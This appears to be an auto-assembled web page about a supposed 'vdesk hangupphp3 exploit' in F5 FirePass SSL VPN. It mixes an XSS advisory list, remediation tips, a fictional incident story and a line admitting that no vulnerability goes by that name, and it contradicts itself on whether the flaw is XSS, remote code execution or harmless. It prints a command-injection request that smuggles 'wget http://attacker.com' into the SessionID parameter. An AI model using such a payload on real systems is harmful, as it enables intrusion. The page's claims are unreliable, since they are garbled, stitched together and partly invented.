Vdesk Hangupphp3 Exploit !new!

If you are maintaining a legacy system or conducting a security audit, here is how to detect and remediate similar exploits.

Multiple cross-site scripting (XSS) vulnerabilities in F5 FirePass SSL VPN allow remote attackers to inject arbitrary web script or HTML via (1) the xcho parameter to my.logon.php3; the (2) topblue, (3) midblue, (4) wtopblue, and certain other Custom color parameters in a per action to vdesk/admincon/index.php; the (5) h321, (6) h311, (7) h312, and certain other Front Door custom text color parameters in a per action to vdesk/admincon/index.php; the (8) ua parameter in a bro action to vdesk/admincon/index.php; the (9) app_param and (10) app_name parameters to webyfiers.php; (11) double eval functions; (12) JavaScript contained in an<FP_DO_NOT_TOUCH> element; and (13) the vhost parameter to my.activation.php.

Lock down access to the VDesk administrative directories. Ensure they are only accessible via trusted internal IP addresses or a secure Virtual Private Network (VPN).

Alex and his team worked tirelessly to contain the damage and find a solution. They quickly realized that the exploit was not just a simple denial-of-service (DoS) attack but a full-blown remote code execution (RCE) vulnerability.

What and web server software (e.g., Apache, Nginx, IIS) host your vDesk deployment? vdesk hangupphp3 exploit

: For troubleshooting unexpected redirects, administrators should review /var/log/apm and consider enabling debug logging to determine why a policy is failing.

A successful exploit of the hangupphp3 vulnerability can lead to:

: F5 maintains that this behavior does not constitute a security risk and can be ignored in scan reports. Related Vulnerabilities

GET /vdesk/hangup.php3?SessionID=1234;%20wget%20http://attacker.com HTTP/1.1 Host: target-vdesk-server.com User-Agent: Mozilla/5.0 Use code with caution. In this scenario: The script reads the SessionID . The semicolon finishes the intended internal command. The server executes wget to download malicious software. If you are maintaining a legacy system or

F5 Networks confirmed that the following versions of the FirePass SSL VPN were vulnerable to this specific XSS attack:

: The compromised web server can be used as a launching pad to attack other internal systems within the local network.

Configure your Web Application Firewall (WAF) or reverse proxy to block all inbound traffic targeting the hangup.php3 URI.

[User Browser] ---> ( Sends Invalid Host / Policy Fails ) ^ | 302 Redirect to /vdesk/hangup.php3 v [F5 APM Gateway] ---> [Clears Session State & Deletes Cookies] Ensure they are only accessible via trusted internal

Searching for a "vdesk hangupphp3 exploit" specifically does not return a direct match for a known vulnerability by that exact name. However, "vdesk" is a common directory and component associated with legacy F5 FirePass SSL VPN

The Vdesk Hangup PHP 3 exploit incident served as a wake-up call for the entire IT industry. It highlighted the importance of keeping software up to date, monitoring for vulnerabilities, and having incident response plans in place.

Access to the VDI manager exposes sensitive user credentials, session tokens, and proprietary data.